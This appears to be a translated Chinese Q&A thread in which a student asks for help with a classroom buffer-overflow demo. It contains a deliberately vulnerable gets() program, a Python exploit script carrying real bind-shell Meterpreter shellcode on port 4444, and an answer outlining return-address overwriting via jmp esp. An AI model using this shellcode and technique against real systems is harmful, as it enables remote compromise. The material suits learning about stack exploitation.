Question

我可以知道如何增加示例C程序上ESP的长度，这可以使我在堆栈上执行Shellcode。但是，到目前为止，示例c程序的ESP长度仅为61，因此不足以用于Shellcode。任何帮助表示赞赏！这是针对初学者的课堂演示，我也是学生，所以我很新来缓冲溢出。

示例C程序

#include <stdio.h>
#include <string.h>

#pragma warning(disable: 4996)

int root(void)
{

    printf("\n Root privileges given to the user \n");
    return 0;
}

int user(void){

    printf("\n Normal user privileges given to the user \n");
    return 0;
}


int main(void)
{
    char buff[15];
    int pass = 0;
    int max = 15;


    printf("\n Enter the password : \n");
    //fgets(buff, max, stdin);
    gets(buff);

    if (strcmp(buff, "thegeekstuff"))
    {
        printf("\n Wrong Password \n");
    }
    else
    {
        printf("\n Correct Password \n");
        pass = 1;
    }

    if (pass == 1)
    {
        root();
    } else {
        user();
    }

    return 0;
}

Python漏洞利用代码（Win86）-bind_tcp_staged_meterpreter [LPORT = 4444]

*注意：在绑定外壳有效载荷之前为（add esp，-1500）添加了一条指令

#! python

import os
import sys
import subprocess
import binascii
import time

ESP_Address = bytes.fromhex('5954C377')

buf =  ""
# Add ESP, -1500
buf += "\x81\xC4\x24\xFA\xFF\xFF"
# Bind Meterpreter Shell
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68"
buf += "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
buf += "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57"
buf += "\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
buf += "\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00"
buf += "\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36"
buf += "\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4"
buf += "\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"


bind_staged_shell_payload = bytes(buf, "utf-8")
Dummy_Data = ("A" * 35).encode()

final_payload = Dummy_Data + ESP_Address + bind_staged_shell_payload

p = subprocess.Popen('buffer_overflow.exe', stdin=subprocess.PIPE) #NOTE: no shell=True here
time.sleep(20)
p.stdin.write(final_payload)
p.communicate()[0]
p.stdin.close()

sys.exit(0)

用于在Windows XP SP 1中编译c程序的代码

gcc -Wl,--stack,4194304 -fno-stack-protector -m32 buffer_overflow.c -o buffer_overflow.exe

我尝试过的...。很尴尬，没有成功：

使用-Wl,--stack,4194304选项编译C程序
试图通过创建具有巨大缓冲区的虚拟变量来增加堆栈大小（显然，这会使ESP的长度变短...）
以管理员身份运行cmd ...
关闭防火墙
使用nc IP_ADDRESS 4444测试连接性，但连接被拒绝（绑定外壳未通过漏洞利用代码成功生成）-一旦已成功为分段的有效负载建立连接，将使用meterpreter处理程序

注释

程序不会以输入的shellcode崩溃...但是，如果插入了100个字符的字符串，则程序崩溃。

Answer 1

您没有描述如何在堆栈中找到寄信人地址，以及为什么要添加“ add esp”，所以我将帮助您从一开始就获得它，希望对您有所帮助。

首先，您应该在调试器中运行程序（我建议使用IDA Pro），并开始对其进行模糊处理，以查看返回地址在堆栈中的存储位置。

在那之后，请尝试不要使用一些shellcode，并尝试从代码中运行root函数，这样，如果它可以正常工作，则会显示输出字符串。缓冲区应该看起来像这样：“ A * return_address_offset + root_address”如果可以的话，您可以使用简单的shellcode代替root函数，方法是将其放在缓冲区上并用'jmp esp'覆盖返回地址，这样放置的shellcode在堆栈上将运行。如果您不跳到堆栈上的shellcode，程序将把shellcode的前4个字节当作一个地址，然后尝试去那里，并且该地址很可能是无效地址，因此程序会崩溃。

如果您不了解其全部工作原理，则应阅读有关堆栈和调用约定以及程序如何从函数调用和返回的信息。

有tutorial关于剥削的信息，它也应为您提供帮助。

希望我能帮助您！

示例C程序上的缓冲区溢出

1 个答案: